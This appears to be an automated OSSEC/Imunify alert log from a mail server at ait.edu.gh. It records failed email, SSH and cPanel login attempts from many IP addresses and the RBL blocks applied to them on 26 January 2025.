2025-01-26 19:24:11 dovecot_login authenticator failed for ([94.200.20.66]) [94.200.20.66]:53026: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.193.53.56
description:
2025-01-26 19:24:23 dovecot_login authenticator failed for (undefined.hostname.localhost) [113.193.53.56]:37548: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.253.194.26
description:
Jan 26 19:24:58 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.253.194.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.128.86.100
description:
Jan 26 19:24:04 ait sshd[2409013]: pam_imunify(sshd:auth): [IM360_RBL] The IP 117.128.86.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 114.241.245.198
description:
Jan 26 19:24:12 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 114.241.245.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.241.245.198
description:
2025-01-26 19:24:14 dovecot_plain authenticator failed for ([114.241.245.198]) [114.241.245.198]:53644: 535 Incorrect authentication data (set_id=abs19a00020y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.175.220.250
description:
2025-01-26 19:24:33 dovecot_plain authenticator failed for 110-175-220-250.static.tpgi.com.au (115-64-230-179.static.tpgi.com.au) [110.175.220.250]:53557: 535 Incorrect authentication data (set_id=ads17b00137y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.202.82.251
description:
Jan 26 19:24:47 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.202.82.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.227.87.29
description:
Jan 26 19:24:54 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.227.87.29 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.180.129.87
description:
Jan 26 19:24:07 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.180.129.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.220.129.94
description:
Jan 26 19:24:13 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.220.129.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.186.68.153
description:
Jan 26 19:24:22 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.186.68.153 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.86.209.86
description:
2025-01-26 19:24:04 dovecot_plain authenticator failed for ([106.86.209.86]) [106.86.209.86]:46262: 535 Incorrect authentication data (set_id=fusheini@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 216.126.65.135
description:
Jan 26 19:24:19 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 216.126.65.135 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.22.37.158
description:
Jan 26 19:24:23 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.22.37.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.155.16
description:
2025-01-26 19:24:52 dovecot_plain authenticator failed for ([121.202.155.16]) [121.202.155.16]:33058: 535 Incorrect authentication data (set_id=eng18b00213y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.253.194.26
description:
2025-01-26 19:25:00 dovecot_plain authenticator failed for ([58.253.194.26]) [58.253.194.26]:51499: 535 Incorrect authentication data (set_id=ads20b00337y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
description:
2025-01-26 19:24:09 dovecot_login authenticator failed for (175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:34320: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.129.94
description:
2025-01-26 19:24:15 dovecot_plain authenticator failed for host-41-220-129-94.habari.co.tz ([197.250.7.50]) [41.220.129.94]:45612: 535 Incorrect authentication data (set_id=fusheini)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.185.255.227
description:
Jan 26 19:24:34 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.185.255.227 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.153.208.38
description:
Jan 26 19:24:54 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.153.208.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.227.87.29
description:
2025-01-26 19:24:56 dovecot_login authenticator failed for ([106.227.87.29]) [106.227.87.29]:53956: 535 Incorrect authentication data (set_id=welch.0407@aitedu.us)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.180.166.214
description:
Jan 26 19:24:13 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.180.166.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.186.68.153
description:
2025-01-26 19:24:24 dovecot_plain authenticator failed for ([222.186.68.153]) [222.186.68.153]:40313: 535 Incorrect authentication data (set_id=eng18b00213y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.153.208.38
description:
2025-01-26 19:24:56 dovecot_plain authenticator failed for ([61.153.208.38]) [61.153.208.38]:8020: 535 Incorrect authentication data (set_id=bscj19bit0046y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.94.41.218
description:
2025-01-26 19:24:03 dovecot_plain authenticator failed for ([218.94.41.218]) [218.94.41.218]:60488: 535 Incorrect authentication data (set_id=abs19a00020y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.200.20.66
description:
Jan 26 19:24:09 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.200.20.66 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 213.172.155.71
description:
[2025-01-26 19:24:27 +0100] info [webmaild] 213.172.155.71 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.175.220.250
description:
Jan 26 19:24:31 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.175.220.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.155.16
description:
Jan 26 19:24:50 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.155.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.180.166.214
description:
2025-01-26 19:24:15 dovecot_plain authenticator failed for ([220.180.166.214]) [220.180.166.214]:43305: 535 Incorrect authentication data (set_id=assdas3@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 216.126.65.135
description:
2025-01-26 19:24:21 dovecot_plain authenticator failed for ([216.126.65.135]) [216.126.65.135]:60045: 535 Incorrect authentication data (set_id=ads17b00137y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.193.53.56
description:
Jan 26 19:24:21 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.193.53.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.22.37.158
description:
2025-01-26 19:24:25 dovecot_plain authenticator failed for ([217.22.37.158]) [217.22.37.158]:52144: 535 Incorrect authentication data (set_id=assdas3)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.185.255.227
description:
2025-01-26 19:24:36 dovecot_login authenticator failed for (mail.chinaqiaoyu.com) [222.185.255.227]:58466: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.45.47.95
description:
Jan 26 19:24:39 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.45.47.95 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.45.47.95
description:
2025-01-26 19:24:41 dovecot_plain authenticator failed for p387096-obmd01.tokyo.ocn.ne.jp [60.45.47.95]:37923: 535 Incorrect authentication data (set_id=eng18b00213y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.202.82.251
description:
2025-01-26 19:24:49 dovecot_login authenticator failed for ([175.202.82.251]) [175.202.82.251]:47196: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.237.104.9
description:
Jan 26 19:25:08 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.237.104.9 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.246.255.183
description:
2025-01-26 19:25:21 dovecot_plain authenticator failed for ([185.246.255.183]) [185.246.255.183]:59136: 535 Incorrect authentication data (set_id=jpomador@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.164.147.150
description:
2025-01-26 19:25:23 dovecot_plain authenticator failed for ([181.164.147.150]) [181.164.147.150]:31183: 535 Incorrect authentication data (set_id=eng21a00038y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.146.233.123
description:
Jan 26 19:25:27 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.146.233.123 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.35.218.58
description:
2025-01-26 19:25:32 dovecot_plain authenticator failed for ([14.35.218.58]) [14.35.218.58]:46425: 535 Incorrect authentication data (set_id=jpomador)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
description:
2025-01-26 19:25:44 dovecot_plain authenticator failed for 54.126.103.87.rev.vodafone.pt (annes) [87.103.126.54]:47771: 535 Incorrect authentication data (set_id=eng67b66769@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.24.37.2
description:
Jan 26 19:25:08 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.24.37.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.24.37.2
description:
2025-01-26 19:25:10 dovecot_plain authenticator failed for ([196.24.37.2]) [196.24.37.2]:48528: 535 Incorrect authentication data (set_id=ads20b00337y)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 111.231.56.128
description:
Jan 26 19:25:28 ait sshd[2409811]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.231.56.128


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.35.218.58
description:
Jan 26 19:25:30 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.35.218.58 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 2.57.122.189
description:
Jan 26 19:25:44 ait sshd[2409919]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=2.57.122.189


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.167.198.31
description:
Jan 26 19:25:13 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.167.198.31 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 82.151.65.155
description:
Jan 26 19:25:14 ait sshd[2409633]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=82.151.65.155  user=root


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.167.198.31
description:
2025-01-26 19:25:15 dovecot_plain authenticator failed for ([183.167.198.31]) [183.167.198.31]:52864: 535 Incorrect authentication data (set_id=bscj19bit0046y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.164.147.150
description:
Jan 26 19:25:21 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.164.147.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.2.153.49
description:
2025-01-26 19:25:29 dovecot_plain authenticator failed for ([221.2.153.49]) [221.2.153.49]:36900: 535 Incorrect authentication data (set_id=vondee@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.115.173.11
description:
2025-01-26 19:25:47 dovecot_plain authenticator failed for ([45.115.173.11]) [45.115.173.11]:58647: 535 Incorrect authentication data (set_id=vondee)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.151.65.155
description:
Jan 26 19:25:14 ait sshd[2409633]: pam_imunify(sshd:auth): [IM360_RBL] The IP 82.151.65.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.246.255.183
description:
Jan 26 19:25:19 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.246.255.183 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 26 19:25:31 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.251.121.70
description:
Jan 26 19:25:34 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.251.121.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
description:
Jan 26 19:25:42 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.57.122.189
description:
Jan 26 19:25:44 ait sshd[2409919]: pam_imunify(sshd:auth): [IM360_RBL] The IP 2.57.122.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.237.104.9
description:
2025-01-26 19:25:10 dovecot_login authenticator failed for ([183.237.104.9]) [183.237.104.9]:38668: 535 Incorrect authentication data (set_id=welch.0407)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.251.121.70
description:
2025-01-26 19:25:36 dovecot_plain authenticator failed for works.ssc-gr.info [160.251.121.70]:60390: 535 Incorrect authentication data (set_id=eng21a00038y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.99
description:
2025-01-26 19:25:39 dovecot_plain authenticator failed for (nsg-corporate-99.229.187.122.airtel.in) [122.187.229.99]:46865: 535 Incorrect authentication data (set_id=ads09a99049y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.139.116.184
description:
Jan 26 19:25:59 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.139.116.184 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 169.224.88.180
description:
[2025-01-26 19:25:14 +0100] info [webmaild] 169.224.88.180 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.146.233.123
description:
2025-01-26 19:25:29 dovecot_plain authenticator failed for ([103.146.233.123]) [103.146.233.123]:36486: 535 Incorrect authentication data (set_id=ads09a99049y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.99
description:
Jan 26 19:25:37 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.115.173.11
description:
Jan 26 19:25:45 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.115.173.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.139.116.184
description:
2025-01-26 19:26:01 dovecot_login authenticator failed for ([123.139.116.184]) [123.139.116.184]:52938: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.2.153.49
description:
Jan 26 19:25:27 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.2.153.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.231.56.128
description:
Jan 26 19:25:28 ait sshd[2409811]: pam_imunify(sshd:auth): [IM360_RBL] The IP 111.231.56.128 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 122.51.104.242
description:
Jan 26 19:26:20 ait sshd[2410234]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=122.51.104.242


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.241.237.172
description:
2025-01-26 19:26:29 dovecot_login authenticator failed for ([104.241.237.172]) [104.241.237.172]:46752: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.6.78.182
description:
2025-01-26 19:26:32 dovecot_login authenticator failed for (bd064eb6.virtua.com.br) [189.6.78.182]:35513: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.177.188
description:
Jan 26 19:26:09 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.177.188 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.188
description:
2025-01-26 19:26:11 dovecot_login authenticator failed for ([111.61.177.188]) [111.61.177.188]:53082: 535 Incorrect authentication data (set_id=admin@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.170
description:
Jan 26 19:26:16 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.170 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.9.38.92
description:
2025-01-26 19:26:31 dovecot_plain authenticator failed for ([59.9.38.92]) [59.9.38.92]:51820: 535 Incorrect authentication data (set_id=awadzie@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.143.241.150
description:
Jan 26 19:26:41 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.143.241.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.202.206.163
description:
2025-01-26 19:26:55 dovecot_plain authenticator failed for 163.189-202-206.bestelclientes.com.mx [189.202.206.163]:45504: 535 Incorrect authentication data (set_id=abs20b00166y@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.51.104.242
description:
Jan 26 19:26:20 ait sshd[2410234]: pam_imunify(sshd:auth): [IM360_RBL] The IP 122.51.104.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.251.197.46
description:
Jan 26 19:26:26 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.251.197.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.9.38.92
description:
Jan 26 19:26:29 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.9.38.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.12.89.234
description:
Jan 26 19:26:48 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.12.89.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.12.89.234
description:
2025-01-26 19:26:50 dovecot_plain authenticator failed for ([187.12.89.234]) [187.12.89.234]:33460: 535 Incorrect authentication data (set_id=suvie)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.225.30.107
description:
2025-01-26 19:26:25 dovecot_plain authenticator failed for 81-225-30-107-no2380.tbcn.telia.com (ostercrac) [81.225.30.107]:53140: 535 Incorrect authentication data (set_id=gyn@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.213.27.250
description:
Jan 26 19:26:30 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.213.27.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.143.241.150
description:
2025-01-26 19:26:43 dovecot_plain authenticator failed for ([61.143.241.150]) [61.143.241.150]:47889: 535 Incorrect authentication data (set_id=awadzie)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.202.206.163
description:
Jan 26 19:26:53 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.202.206.163 has been locked due to Imunify RBL


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 122.51.104.242
description:
Jan 26 19:26:20 ait sshd[2410234]: Invalid user ricaurteruedaabogados.com 2600 from 122.51.104.242 port 33586


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.6.78.182
description:
Jan 26 19:26:30 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.6.78.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.217.1.27
description:
Jan 26 19:26:32 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.217.1.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.225.30.107
description:
Jan 26 19:26:23 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.225.30.107 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 26 19:26:28 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.241.237.172
description:
Jan 26 19:26:27 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.241.237.172 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.217.1.27
description:
2025-01-26 19:26:34 dovecot_plain authenticator failed for static-193-217-1-27.cust.tele2.lt [193.217.1.27]:51321: 535 Incorrect authentication data (set_id=suvie@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.81.213.46
description:
2025-01-26 19:27:11 dovecot_plain authenticator failed for ([203.81.213.46]) [203.81.213.46]:49167: 535 Incorrect authentication data (set_id=abs20b00166y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.81.213.46
description:
Jan 26 19:27:09 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.81.213.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.50.206
description:
Jan 26 19:27:06 ait sshd[2410511]: pam_imunify(sshd:auth): [IM360_RBL] The IP 146.190.50.206 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 146.190.50.206
description:
Jan 26 19:27:06 ait sshd[2410511]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=146.190.50.206


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 129.126.212.30
description:
Jan 26 19:29:01 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 129.126.212.30 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.126.212.30
description:
2025-01-26 19:29:03 dovecot_plain authenticator failed for ([129.126.212.30]) [129.126.212.30]:44619: 535 Incorrect authentication data (set_id=ads21b00277y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 26 19:28:35 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.48.208.197
description:
Jan 26 19:28:50 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.48.208.197 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.48.208.197
description:
2025-01-26 19:28:52 dovecot_plain authenticator failed for ([111.48.208.197]) [111.48.208.197]:40522: 535 Incorrect authentication data (set_id=ads21b00277y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.221.64.10
description:
Jan 26 19:28:19 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.221.64.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.11.164.165
description:
2025-01-26 19:28:32 dovecot_plain authenticator failed for ([5.11.164.165]) [5.11.164.165]:49159: 535 Incorrect authentication data (set_id=botchway)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.221.64.10
description:
2025-01-26 19:28:21 dovecot_plain authenticator failed for ([102.221.64.10]) [102.221.64.10]:60543: 535 Incorrect authentication data (set_id=botchway@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 105.68.187.14
description:
[2025-01-26 19:29:00 +0100] info [webmaild] 105.68.187.14 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.11.164.165
description:
Jan 26 19:28:30 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.11.164.165 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.233.177
description:
2025-01-26 19:29:47 dovecot_plain authenticator failed for (nsg-corporate-177.233.187.122.airtel.in) [122.187.233.177]:60601: 535 Incorrect authentication data (set_id=eng20b00207y@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 36.108.172.220
description:
Jan 26 19:29:13 ait sshd[2411439]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=36.108.172.220


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.197.152.3
description:
2025-01-26 19:29:38 dovecot_plain authenticator failed for ([120.197.152.3]) [120.197.152.3]:57471: 535 Incorrect authentication data (set_id=ads20b00337y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.233.177
description:
Jan 26 19:29:45 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.233.177 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.81.213.46
description:
Jan 26 19:29:24 ait auth[2101633]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.81.213.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.35.117.94
description:
2025-01-26 19:30:00 dovecot_plain authenticator failed for ([46.35.117.94]) [46.35.117.94]:33239: 535 Incorrect authentication data (set_id=eng20b00207y)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.108.172.220
description:
Jan 26 19:29:13 ait sshd[2411439]: pam_imunify(sshd:auth): [IM360_RBL] The IP 36.108.172.220 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.223.192.254
description:
